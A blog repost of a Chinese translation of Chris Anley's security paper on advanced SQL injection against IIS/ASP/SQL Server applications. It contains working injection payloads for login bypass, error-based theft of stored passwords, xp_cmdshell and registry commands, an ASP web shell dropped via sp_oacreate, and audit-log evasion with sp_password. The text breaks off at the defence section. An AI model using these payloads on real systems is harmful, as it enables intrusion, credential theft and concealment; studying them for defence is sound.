隨筆-208  評論-469  文章-30  trackbacks-0


          SQLServer應(yīng)用程序中的高級SQL注入

          作者:Chris Anley

          摘要:
          這份文檔是詳細(xì)討論SQL注入技術(shù),它適應(yīng)于比較流行的IIS+ASP+SQLSERVER平臺。它討論了哪些SQL語句能通過各種各樣的方法注入到應(yīng)用程序中,并且記錄與攻擊相關(guān)的數(shù)據(jù)確認(rèn)和數(shù)據(jù)庫鎖定。

          這份文檔的預(yù)期讀者為與數(shù)據(jù)庫通信的WEB程序的開發(fā)者和那些扮演審核WEB應(yīng)用程序的安全專家。

          介紹:
          SQL是一種用于關(guān)系數(shù)據(jù)庫的結(jié)構(gòu)化查詢語言。它分為許多種,但大多數(shù)都松散地基于美國國家標(biāo)準(zhǔn)化組織最新的標(biāo)準(zhǔn)SQL-92。典型的執(zhí)行語句是query,它能夠收集比較有達(dá)標(biāo)性的記錄并返回一個單一的結(jié)果集。SQL語言可以修改數(shù)據(jù)庫結(jié)構(gòu)(數(shù)據(jù)定義語言)和操作數(shù)據(jù)庫內(nèi)容(數(shù)據(jù)操作語言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語言。
          當(dāng)一個攻擊者能夠通過往query中插入一系列的sql語句來操作數(shù)據(jù)寫入到應(yīng)用程序中去,我們管這種方法定義成SQL注入。

          一個典型的SQL語句如下:
          Select id,forename,surname from authors
          這條語句將返回authors表中所有行的id,forename和surname列。這個結(jié)果可以被限制,例如:
          Select id,forename,surname from authors where forename'john' and surname='smith'
          需要著重指明的是字符串'john'和'smith'被單引號限制。明確的說,forename和surname字段是被用戶提供的輸入限制的,攻擊者可以通過輸入值來往這個查詢中注入一些SQL語句,如下:
          Forename:jo'hn
          Surname:smith
          查詢語句變?yōu)椋?
          Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
          當(dāng)數(shù)據(jù)庫試圖去執(zhí)行這個查詢時,它將返回如下錯誤:
          Server:Msg 170, Level 15, State 1, Line 1
          Line 1:Incorrect syntax near 'hn'
          造成這種結(jié)果的原因是插入了.作為定界符的單引號。數(shù)據(jù)庫嘗試去執(zhí)行'hn',但是失敗。如果攻擊者提供特別的輸入如:
          Forename:jo';drop table authors—
          Surname:
          結(jié)果是authors表被刪除,造成這種結(jié)果的原因我們稍后再講。

          看上去好象通過從輸入中去掉單引號或者通過某些方法避免它們都可以解決這個問題。這是可行的,但是用這種方法做解決方法會存在幾個困難。第一,并不是所有用戶提供的數(shù)據(jù)都是字符串。如果用戶輸入的是通過用戶id來查詢author,那我們的查詢應(yīng)該像這樣:
          Select id,forename,surname from authors where id=1234
          在這種情況下,一個攻擊者可以非常簡單地在數(shù)字的結(jié)尾添加SQL語句,在其他版本的SQL語言中,使用各種各樣的限定符號;在數(shù)據(jù)庫管理系統(tǒng)JET引擎中,數(shù)據(jù)可以被使用'#'限定。第二,避免單引號盡管看上去可以,但是是沒必要的,原因我們稍后再講。

          我們更進(jìn)一步地使用一個簡單的ASP登陸頁面來指出哪些能進(jìn)入SQLSERVER數(shù)據(jù)庫并且嘗試鑒別進(jìn)入一些虛構(gòu)的應(yīng)用程序的權(quán)限。
          這是一個提交表單頁的代碼,讓用戶輸入用戶名和密碼:
          <HTML>
          <HEAD>
          <TITLE>Login Page</TITLE>
          </HEAD>

          <BODY bgcolor='000000' text='cccccc'>
          <FONT Face='tahoma' color='cccccc'>
          <CENTER><H1>Login</H1>
          <FORM action='process_loginasp' method=post>
          <TABLE>
          <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
          <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
          </TABLE>
          <INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
          </FORM>
          </Font>
          </BODY>
          </HTML>
          下面是process_login.asp的代碼,它是用來控制登陸的:
          <HTML>
          <BODY bgcolor='000000' text='ffffff'>
          <FONT Face='tahoma' color='ffffff'>
          <STYLE>
          p { font-size=20pt ! important}
          font { font-size=20pt ! important}
          h1 { font-size=64pt ! important}
          </STYLE>
          <%@LANGUAGE = JScript %>
          <%
          function trace( str ) {
          if( Request.form("debug") == "true" )
          Response.write( str );
          }
          function Login( cn ) {
          var username;
          var password;
          username = Request.form("username");
          password = Request.form("password");
          var rso = Server.CreateObject("ADODB.Recordset");
          var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
          rso.open( sql, cn );
          if (rso.EOF) {
          rso.close();
          %>
          <FONT Face='tahoma' color='cc0000'>
          <H1> <BR><BR>
          <CENTER>ACCESS DENIED</CENTER>
          </H1>
          </BODY>
          </HTML>
          <% Response.end return; }
          else {
          Session("username") = "" + rso("username");
          %>
          <FONT Face='tahoma' color='00cc00'>
          <H1> <CENTER>ACCESS GRANTED<BR> <BR>
          Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
          }
          function Main() { //Set up connection
          var username
          var cn = Server.createobject( "ADODB.Connection" );
          cn.connectiontimeout = 20;
          cn.open( "localserver", "sa", "password" );
          username = new String( Request.form("username") );
          if( username.length > 0) {
          Login( cn );
          }
          cn.close();
          }
          Main();
          %>
          出現(xiàn)問題的地方是process_lgin.asp中產(chǎn)生查詢語句的部分:
          Var sql="select * from users where username='"+username+"' and password='"+password+"'";
          如果用戶輸入的信息如下:
          Username:';drop table users—
          Password:
          數(shù)據(jù)庫中表users將被刪除,拒絕任何用戶進(jìn)入應(yīng)用程序。'—'符號在Transact-SQL中表示忽略'—'以后的語句,';'符號表示一個查詢的結(jié)束和另一個查詢的開始。'—'位于username字段中是必須的,它為了使這個特殊的查詢終止,并且不返回錯誤。

          攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入:
          Username:admin'—
          攻擊者可以使用users表中第一個用戶,輸入如下:
          Username:' or 1=1—
          更特別地,攻擊者可以使用完全虛構(gòu)的用戶登陸,輸入如下:
          Username:' union select 1,'fictional_user','some_password',1—
          這種結(jié)果的原因是應(yīng)用程序相信攻擊者指定的是從數(shù)據(jù)庫中返回結(jié)果的一部分。

          通過錯誤消息獲得信息
          這個幾乎是David Litchfield首先發(fā)現(xiàn)的,并且通過作者滲透測試的;后來David寫了一份文檔,后來作者參考了這份文檔。這些解釋討論了‘錯誤消息‘潛在的機(jī)制,使讀者能夠完全地了解它,潛在地引發(fā)他們的能力。

          為了操作數(shù)據(jù)庫中的數(shù)據(jù),攻擊者必須確定某些數(shù)據(jù)庫和某些表的結(jié)構(gòu)。例如我們可以使用如下語句創(chuàng)建user表:
          Create talbe users(
          Id int,
          Username varchar(255),
          Password varchar(255),
          Privs int
          )
          然后將下面的用戶插入到users表中:
          Insert into users values(0,'admin','r00tr0x!',0xffff)
          Insert into users values(0,'guest','guest',0x0000)
          Insert into users values(0,'chris','password',0x00ff)
          Insert into users values(0,'fred','sesame',0x00ff)
          如果我們的攻擊者想插入一個自己的用戶。在不知道users表結(jié)構(gòu)的情況下,他不可能成功。即使他比較幸運(yùn),至于privs字段不清楚。攻擊者可能插入一個'1',這樣只給他自己一個低權(quán)限的用戶。
          幸運(yùn)地,如果從應(yīng)用程序(默認(rèn)為ASP行為)返回錯誤消息,那么攻擊者可以確定整個數(shù)據(jù)庫的結(jié)構(gòu),并且可以以程序中連接SQLSERVER的權(quán)限度曲任何值。
          (下面以一個簡單的數(shù)據(jù)庫和asp腳本來舉例說明他們是怎么工作的)
          首先,攻擊者想獲得建立用戶的表的名字和字段的名字,要做這些,攻擊者需要使用select語法的having子句:
          Username:' having 1=1—
          這樣將會出現(xiàn)如下錯誤:
          Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
          [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
          /process_login.asp, line 35
          因此現(xiàn)在攻擊者知道了表的名字和第一個地段的名字。他們?nèi)匀豢梢酝ㄟ^把字段放到group by子句只能感去找到一個一個字段名,如下:
          Username:' group by users.id having 1=1—
          出現(xiàn)的錯誤如下:
          Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
          [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
          /process_login.asp, line 35
          最終攻擊者得到了username字段后:
          ‘ group by users.id,users.username,users.password,users.privs having 1=1—
          這句話并不產(chǎn)生錯誤,相當(dāng)于:
          select * from users where username=''
          因此攻擊者現(xiàn)在知道查詢涉及users表,按順序使用列'id,username,password,privs'。
          能夠確定每個列的類型是非常有用的。這可以通過使用類型轉(zhuǎn)化來實(shí)現(xiàn),例如:
          Username:' union select sum(username) from users—
          這利用了SQLSERVER在確定兩個結(jié)果集的字段是否相等前應(yīng)用sum子句。嘗試去計算sum會得到以下消息:
          Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

          [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
          /process_login.asp, line 35
          這告訴了我們'username'字段的類型是varchar。如果是另一種情況,我們嘗試去計算sum()的是數(shù)字類型,我們得到的錯誤消息告訴我們兩個集合的字段數(shù)量不相等。
          Username:' union select sum(id) from users—
          Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

          [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
          /process_login.asp, line 35
          我們可以用這種技術(shù)近似地確定數(shù)據(jù)庫中任何表中的任何字段的類型。
          這樣攻擊者就可以寫一個好的insert查詢,例如:
          Username:';insert into users values(666,'attacker','foobar','0xffff)—
          這種技術(shù)的潛在影響不僅僅是這些。攻擊者可以利用這些錯誤消息顯示環(huán)境信息或數(shù)據(jù)庫。通過運(yùn)行一列一定格式的字符串可以獲得標(biāo)準(zhǔn)的錯誤消息:
          select * from master ..sysmessages
          解釋這些將實(shí)現(xiàn)有趣的消息。

          一個特別有用的消息關(guān)系到類型轉(zhuǎn)化。如果你嘗試將一個字符串轉(zhuǎn)化成一個整型數(shù)字,那么字符串的所有內(nèi)容會返回到錯誤消息中。例如在我們簡單的登陸頁面中,在username后面會顯示出SQLSERVER的版本和所運(yùn)行的操作系統(tǒng)信息:
          Username:' union select @@version,1,1,1—
          Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

          [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
          /process_login.asp, line 35
          這句嘗試去將內(nèi)置的'@@version'常量轉(zhuǎn)化成一個整型數(shù)字,因?yàn)閡sers表中的第一列是整型數(shù)字。

          這種技術(shù)可以用來讀取數(shù)據(jù)庫中任何表的任何值。自從攻擊者對用戶名和用戶密碼比較感興趣后,他們比較喜歡去從users表中讀取用戶名,例如:
          Username:' union select min(username),1,1,1 from users where username>'a'—
          這句選擇users表中username大于'a'中的最小值,并試圖把它轉(zhuǎn)化成一個整型數(shù)字:
          Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

          [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
          /process_login.asp, line 35
          因此攻擊者已經(jīng)知道用戶admin是存在的。這樣他就可以重復(fù)通過使用where子句和查詢到的用戶名去尋找下一個用戶。
          Username:' union select min(username),1,1,1 from users where username>'admin'—
          Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

          [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
          /process_login.asp, line 35
          一旦攻擊者確定了用戶名,他就可以開始收集密碼:
          Username:' union select password,1,1,1 from users where username='admin'—
          Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

          [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
          /process_login.asp, line 35

          一個更高級的技術(shù)是將所有用戶名和密碼連接長一個單獨(dú)的字符串,然后嘗試把它轉(zhuǎn)化成整型數(shù)字。這個例子指出:Transavt-SQL語法能夠在不改變相同的行的意思的情況下把它們連接起來。下面的腳本將把值連接起來:
          begin declare @ret varchar(8000)
          set @ret=':'
          select @ret=@ret+' '+username+'/'+password from users where
          username>@ret
          select @ret as ret into foo
          end
          攻擊者使用這個當(dāng)作用戶名登陸(都在一行)
          Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
          這就創(chuàng)建了一個foo表,里面只有一個單獨(dú)的列'ret',里面存放著我們得到的用戶名和密碼的字符串。正常情況下,一個低權(quán)限的用戶能夠在同一個數(shù)據(jù)庫中創(chuàng)建表,或者創(chuàng)建臨時數(shù)據(jù)庫。
          然后攻擊者就可以取得我們要得到的字符串:
          Username:' union select ret,1,1,1 from foo—
          Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

          [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
          /process_login.asp, line 35
          然后丟棄(刪除)表來清楚腳印:
          Username:'; drop table foo—
          這個例子僅僅是這種技術(shù)的一個表面的作用。沒必要說,如果攻擊者能夠從數(shù)據(jù)庫中獲得足夠的錯誤西,他們的工作就變的無限簡單。

          獲得更高的權(quán)限
          一旦攻擊者控制了數(shù)據(jù)庫,他們就想利用那個權(quán)限去獲得網(wǎng)絡(luò)上更高的控制權(quán)。這可以通過許多途徑來達(dá)到:
          1. 在數(shù)據(jù)庫服務(wù)器上,以SQLSERVER權(quán)限利用xp_cmdshell擴(kuò)展存儲過程執(zhí)行命令。
          2. 利用xp_regread擴(kuò)展存儲過程去讀注冊表的鍵值,當(dāng)然包括SAM鍵(前提是SQLSERVER是以系統(tǒng)權(quán)限運(yùn)行的)
          3. 利用其他存儲過程去改變服務(wù)器
          4. 在連接的服務(wù)器上執(zhí)行查詢
          5. 創(chuàng)建客戶擴(kuò)展存儲過程去在SQLSERVER進(jìn)程中執(zhí)行溢出代碼
          6. 使用'bulk insert'語法去讀服務(wù)器上的任意文件
          7. 使用bcp在服務(wù)器上建立任意的文本格式的文件
          8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統(tǒng)存儲過程去創(chuàng)建ActiveX應(yīng)用程序,使它能做任何ASP腳本可以做的事情

          這些只列舉了非常普通的可能攻擊方法的少量,攻擊者很可能使用其它方法。我們介紹收集到的攻擊關(guān)于SQL服務(wù)器的明顯攻擊方法,為了說明哪方面可能并被授予權(quán)限去注入SQL.。我們將依次處理以上提到的各種方法:

          [xp_cmdshell]
          許多存儲過程被創(chuàng)建在SQLSERVER中,執(zhí)行各種各樣的功能,例如發(fā)送電子郵件和與注冊表交互。
          Xp_cmdshell是一個允許執(zhí)行任意的命令行命令的內(nèi)置的存儲過程。例如:
          Exec master..xp_cmdshell 'dir'
          將獲得SQLSERVER進(jìn)程的當(dāng)前工作目錄中的目錄列表。
          Exec master..xp_cmdshell 'net user'
          將提供服務(wù)器上所有用戶的列表。當(dāng)SQLSERVER正常以系統(tǒng)帳戶或域帳戶運(yùn)行時,攻擊者可以做出更嚴(yán)重的危害。

          [xp_regread]
          另一個有用的內(nèi)置存儲過程是xp_regXXXX類的函數(shù)集合。
          Xp_regaddmultistring
          Xp_regdeletekey
          Xp_regdeletevalue
          Xp_regenumkeys
          Xp_regenumvalues
          Xp_regread
          Xp_regremovemultistring
          Xp_regwrite

          這些函數(shù)的使用方法舉例如下:
          exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
          這將確定什么樣的會話連接在服務(wù)器上是可以使用的

          exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
          這將顯示服務(wù)器上所有SNMP團(tuán)體配置。在SNMP團(tuán)體很少被更改和在許多主機(jī)間共享的情況下,有了這些信息,攻擊者或許會重新配置同一網(wǎng)絡(luò)中的網(wǎng)絡(luò)設(shè)備。

          這很容易想象到一個攻擊者可以利用這些函數(shù)讀取SAM,修改系統(tǒng)服務(wù)的配置,使它下次機(jī)器重啟時啟動,或在下次任何用戶登陸時執(zhí)行一條任意的命令。

          [其他存儲過程]
          xp_servicecontrol過程允許用戶啟動,停止,暫停和繼續(xù)服務(wù):
          exec master..xp_servicecontrol 'start','schedule'
          exec master..xp_servicecontrol 'start','server'
          下表中列出了少量的其他有用的存儲過程:
          Xp_availablemedia 顯示機(jī)器上有用的驅(qū)動器
          Xp_dirtree 允許獲得一個目錄樹
          Xp_enumdsn 列舉服務(wù)器上的ODBC數(shù)據(jù)源
          Xp_loginconfig Reveals information about the security mode of the server
          Xp_makecab 允許用戶在服務(wù)器上創(chuàng)建一個壓縮文件
          Xp_ntsec_enumdomains 列舉服務(wù)器可以進(jìn)入的域
          Xp_terminate_process 提供進(jìn)程的進(jìn)程ID,終止此進(jìn)程

          [Linked Servers]
          SQL SERVER提供了一種允許服務(wù)器連接的機(jī)制,也就是說允許一臺數(shù)據(jù)庫服務(wù)器上的查詢能夠操作另一臺服務(wù)器上的數(shù)據(jù)。這個鏈接存放在master.sysservers表中。如果一個連接的服務(wù)器已經(jīng)被設(shè)置成使用'sp_addlinkedsrvlogin'過程,當(dāng)前可信的連接不用登陸就可以訪問到服務(wù)器。'openquery'函數(shù)允許查詢脫離服務(wù)器也可以執(zhí)行。

          [Custom extended stored procedures]
          擴(kuò)展存儲過程應(yīng)用程序接口是相當(dāng)簡單的,創(chuàng)建一個攜帶惡意代碼的擴(kuò)展存儲過程動態(tài)連接庫是一個相當(dāng)簡單的任務(wù)。使用命令行有幾個方法可以上傳動態(tài)連接庫到SQL服務(wù)器上,還有其它包括了多種自動通訊的通訊機(jī)制,比如HTTP下載和FTP腳本。
          一旦動態(tài)連接庫文件在機(jī)器上運(yùn)行即SQL服務(wù)器能夠被訪問——這不需要它自己是SQL服務(wù)器——攻擊者就能夠使用下面的命令添加擴(kuò)展存儲過程(這種情況下,我們的惡意存儲過程就是一個能輸出服務(wù)器的系統(tǒng)文件的小的木馬):

          Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll'
          在正常的方式下,這個擴(kuò)展存儲過程可以被運(yùn)行:
          exec xp_webserver
          一旦這個程序被運(yùn)行,可以使用下面的方法將它除去:
          xp_dropextendedproc 'xp_webserver'

          [將文本文件導(dǎo)入表]
          使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。簡單地創(chuàng)建這個表:
          create table foo( line varchar(8000) )
          然后執(zhí)行bulk insert操作把文件中的數(shù)據(jù)插入到表中,如:
          bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

          可以使用上述的錯誤消息技術(shù),或者使用'union'選擇,使文本文件中的數(shù)據(jù)與應(yīng)用程序正常返回的數(shù)據(jù)結(jié)合,將數(shù)據(jù)取回。這個用來獲取存放在數(shù)據(jù)庫服務(wù)器上的腳本源代碼或者ASP腳本代碼是非常有用的。

          [使用bcp建立文本文件]
          使用'bulk insert'的相對技術(shù)可以很容易建立任意的文本文件。不幸的是這需要命令行工具。'bcp',即'bulk copy program'
          既然 bcp可以從SQL服務(wù)進(jìn)程外訪問數(shù)據(jù)庫,它需要登陸。這代表獲得權(quán)限不是很困難,既然攻擊者能建立,或者利用整體安全機(jī)制(如果服務(wù)器配置成可以使用它)。

          命令行格式如下:
          bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
          'S'參數(shù)為執(zhí)行查詢的服務(wù)器,'U'參數(shù)為用戶名,'P'參數(shù)為密碼,這里為'foobar'

          [ActiveX automation scripts in SQL SERVER]
          SQL SERVER中提供了幾個內(nèi)置的允許創(chuàng)建ActiveX自動執(zhí)行腳本的存儲過程。這些腳本和運(yùn)行在windows腳本解釋器下的腳本,或者ASP腳本程序一樣——他們使用VBScript或JavaScript書寫,他們創(chuàng)建自動執(zhí)行對象并和它們交互。一個自動執(zhí)行腳本使用這種方法書寫可以在Transact-SQL中做任何在ASP腳本中,或者WSH腳本中可以做的任何事情。為了闡明這鞋,這里提供了幾個例子:

          (1)這個例子使用'wscript.shell'對象建立了一個記事本的實(shí)例:
          wscript.shell example
          declare @o int
          exec sp_oacreate 'wscript.shell',@o out
          exec sp_oamethod @o,'run',NULL,'notepad.exe'
          我們可以通過指定在用戶名后面來執(zhí)行它:
          Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—

          (2)這個例子使用'scripting.filesystemobject'對象讀一個已知的文本文件:
          --scripting.filesystemobject example – read a known file
          declare @o int, @f int, @t int, @ret int
          declare @line varchar(8000)
          exec sp_oacreate 'scripting.filesystemobject', @o out
          exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
          exec @ret=sp_oamethod @f,'readline',@line out
          while(@ret=0)
          begin
          print @line
          exec @ret=sp_oamethod @f,'readline',@line out
          end

          (3)這個例子創(chuàng)建了一個能執(zhí)行通過提交到的任何命令:
          -- scripting.filesystemobject example – create a 'run this'.asp file
          declare @o int,@f int,@t int,@ret int
          exec sp_oacreate 'scripting.filesystemobject',@o out
          exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1
          exec @ret=sp_oamethod @f,'writeline',NULL,'<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>'
          需要指出的是如果運(yùn)行的環(huán)境是WIN NT4+IIS4平臺上,那么通過這個程序運(yùn)行的命令是以系統(tǒng)權(quán)限運(yùn)行的。在IIS5中,它以一個比較低的權(quán)限IWAM_XXXaccount運(yùn)行。

          (4)這些例子闡述了這個技術(shù)的適用性;它可以使用'speech.voicetext'對象引起SQL SERVER發(fā)聲:
          declare @o int,@ret int
          exec sp_oacreate 'speech.voicetext',@o out
          exec sp_oamethod @o,'register',NULL,'foo','bar'
          exec sp_oasetproperty @o,'speed',150
          exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
          waitfor delay '00:00:05'
          我們可以在我們假定的例子中,通過指定在用戶名后面來執(zhí)行它(注意這個例子不僅僅是注入一個腳本,同時以admin權(quán)限登陸到應(yīng)用程序):
          Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--

          [存儲過程]
          傳說如果一個ASP應(yīng)用程序在數(shù)據(jù)庫中使用了存儲過程,那么SQL注入是不可能的。這句話只對了一半,這要看ASP腳本中調(diào)用這個存儲過程的方式。
          本質(zhì)上,如果一個有參數(shù)的查詢被執(zhí)行 ,并且用戶提供的參數(shù)通過安全檢查才放入到查詢中,那么SQL注入明顯是不可能發(fā)生的。但是如果攻擊者努力影響所執(zhí)行查詢語句的非數(shù)據(jù)部分,這樣他們就可能能夠控制數(shù)據(jù)庫。
          比較好的常規(guī)的標(biāo)準(zhǔn)是:
          ?如果一個ASP腳本能夠產(chǎn)生一個被提交的SQL查詢字符串,即使它使用了存儲過程也是能夠引起SQL注入的弱點(diǎn)。
          ?如果一個ASP腳本使用一個過程對象限制參數(shù)的往存儲過程中分配(例如ADO的用于參數(shù)收集的command對象),那么通過這個對象的執(zhí)行,它一般是安全的。
          明顯地,既然新的攻擊技術(shù)始終地被發(fā)現(xiàn),好的慣例仍然是驗(yàn)證用戶所有的輸入。

          為了闡明存儲過程的查詢注入,執(zhí)行以下語句:
          sp_who '1' select * from sysobjects
          or
          sp_who '1';select * from sysobjects
          任何一種方法,在存儲過程后,追加的查詢依然會執(zhí)行。

          [高級SQL注入]
          通常情況下,一個web應(yīng)用程序?qū)^濾單引號(或其他符號),或者限定用戶提交的數(shù)據(jù)的長度。
          在這部分,我們討論一些能幫助攻擊者饒過那些明顯防范SQL注入,躲避被記錄的技術(shù)。

          [沒有單引號的字符串]
          有時候開發(fā)人員會通過過濾所有的單引號來保護(hù)應(yīng)用程序,他們可能使用VBScript中的replace函數(shù)或類似:
          function escape(input)
          input=replace(input,"'","''")
          escape=input
          end function
          無可否認(rèn)地這防止了我們所有例子的攻擊,再除去';'符號也可以幫很多忙。但是在一個大型的應(yīng)用程序中,好象個別值期望用戶輸入的是數(shù)字。這些值沒有被限定,因此為攻擊者提供了一個SQL注入的弱點(diǎn)。
          如果攻擊者想不使用單引號產(chǎn)生一個字符串值,他可以使用char函數(shù),例如:
          insert into users values(666,
          char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
          0xffff)
          這就是一個能夠往表中插入字符串的不包含單引號的查詢。
          淡然,如果攻擊者不介意使用一個數(shù)字用戶名和密碼,下面的語句也同樣會起作用:
          insert into users values(667,
          123,
          123,
          oxffff)
          SQL SERVER自動地將整型轉(zhuǎn)化為varchar型的值。

          [Second-Order SQL Injection]
          即使應(yīng)用程序總是過濾單引號,攻擊者依然能夠注入SQL同樣通過應(yīng)用程序使數(shù)據(jù)庫中的數(shù)據(jù)重復(fù)使用。
          例如,攻擊者可能利用下面的信息在應(yīng)用程序中注冊:
          Username:admin'—
          Password:password
          應(yīng)用程序正確過濾了單引號,返回了一個類似這樣的insert語句:
          insert into users values(123,'admin''—','password',0xffff)
          我們假設(shè)應(yīng)用程序允許用戶修改自己的密碼。這個ASP腳本程序首先保證用戶設(shè)置新密碼前擁有正確的舊密碼。代碼如下:
          username = escape( Request.form("username") );
          oldpassword = escape( Request.form("oldpassword") );
          newpassword = escape( Request.form("newpassword") );
          var rso = Server.CreateObject("ADODB.Recordset");
          var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
          rso.open( sql, cn );
          if (rso.EOF)
          {

          設(shè)置新密碼的代碼如下:
          sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
          rso("username")為登陸查詢中返回的用戶名
          當(dāng)username為admin'—時,查詢語句為:
          update users set password = 'password' where username='admin'—'
          這樣攻擊者可以通過注冊一個admin'—的用戶來根據(jù)自己的想法來設(shè)置admin的密碼。
          這是一個非常嚴(yán)重的問題,目前在大型的應(yīng)用程序中試圖去過濾數(shù)據(jù)。最好的解決方法是拒絕非法輸入,這勝于簡單地努力去修改它。這有時會導(dǎo)致一個問題,非法的字符在那里是必要的,例如在用戶名中包含'符號,例如
          O'Brien
          從一個安全的觀點(diǎn)來看,最好的解答是但引號不允許存在是一個簡單的事實(shí)。如果這是無法接受的話,他們?nèi)匀灰贿^濾;在這種情況下,保證所有進(jìn)入SQL查詢的數(shù)據(jù)都是正確的是最好的方法。
          如果攻擊者不使用任何應(yīng)用程序莫名其妙地往系統(tǒng)中插入數(shù)據(jù),這種方式的攻擊也是可能的。應(yīng)用程序可能有email接口,或者可能在數(shù)據(jù)庫中可以存儲錯誤日志,這樣攻擊者可以努力控制它。驗(yàn)證所有數(shù)據(jù),包括數(shù)據(jù)庫中已經(jīng)存在的數(shù)據(jù)始終是個好的方法。確認(rèn)函數(shù)將被簡單地調(diào)用,例如:
          if(not isValid("email",request.querystring("email"))) then
          response.end
          或者類似的方法。

          [長度限制]
          為了給攻擊者更多的困難,有時輸入數(shù)據(jù)的長度是被限制的。當(dāng)這個阻礙了攻擊時,一個小的SQL可以造成很嚴(yán)重的危害。例如:
          Username:';shutdown—
          這樣只用12個輸入字符就將停止SQL SERVER實(shí)例。另一個例子是:
          drop table <tablename>
          如果限定長度是在過濾字符串后應(yīng)用將會引發(fā)另一個問題。假設(shè)用戶名被限定16個字符,密碼也被限定16個字符,那么下面的用戶名和密碼結(jié)合將會執(zhí)行上面提到的shutdown命令:
          Username:aaaaaaaaaaaaaaa'
          Password:'; shutdown—
          原因是應(yīng)用程序嘗試去過濾用戶名最后的單引號,但是字符串被切斷成16個字符,刪除了過濾后的一個單引號。這樣的結(jié)果就是如果密碼字段以單引號開始,它可以包含一些SQL語句。既然這樣查詢看上去是:
          select * from users where username='aaaaaaaaaaaaaaa'' and password=''';shutdown—
          實(shí)際上,查詢中的用戶名已經(jīng)變?yōu)椋?
          aaaaaaaaaaaaaaa' and password='
          因此最后的SQL語句會被執(zhí)行。

          [審計]
          SQL SERVER包含了豐富的允許記錄數(shù)據(jù)庫中的各種事件的審計接口,它包含在sp_traceXXX類的函數(shù)中。特別有意思的是能夠記錄所有SQL語句,然后在服務(wù)器上執(zhí)行的T-SQL的事件。如果這種審計是被激活的,我們討論的所有注入的SQL查詢都將被記錄在數(shù)據(jù)庫中,一個熟練的數(shù)據(jù)庫管理員將能夠知道發(fā)生了什么事。不幸地,如果攻擊者追加以下字符串:
          Sp_password
          到一個Transact-SQL語句中,這個審計機(jī)制記錄日志如下:
          --'sp_password' was found in the text of this event.
          -- The text has been replaced with this comment for security reasons.
          這種行為發(fā)生在所有的T-SQL日記記錄中,即使'sp_password'發(fā)生在一個注釋中。這個過程打算通過sp_password隱藏用戶的密碼,但這對于一個攻擊者來說是非常有用的方法。
          因此,為了隱藏所有注入,攻擊者需要簡單地在'—'注釋字符后追加sp_password,例如:
          Username:admin'—sp_password
          事實(shí)上一些被執(zhí)行的SQL將被記錄,但是查詢本身將順利地從日志中消失。

          [防范]
          這部分討論針對記述的攻擊的一些防范。我們將討論輸入確認(rèn)和提供一些簡單的代碼,然后我們將從事SQL SERVER鎖定。

          [輸入驗(yàn)證]
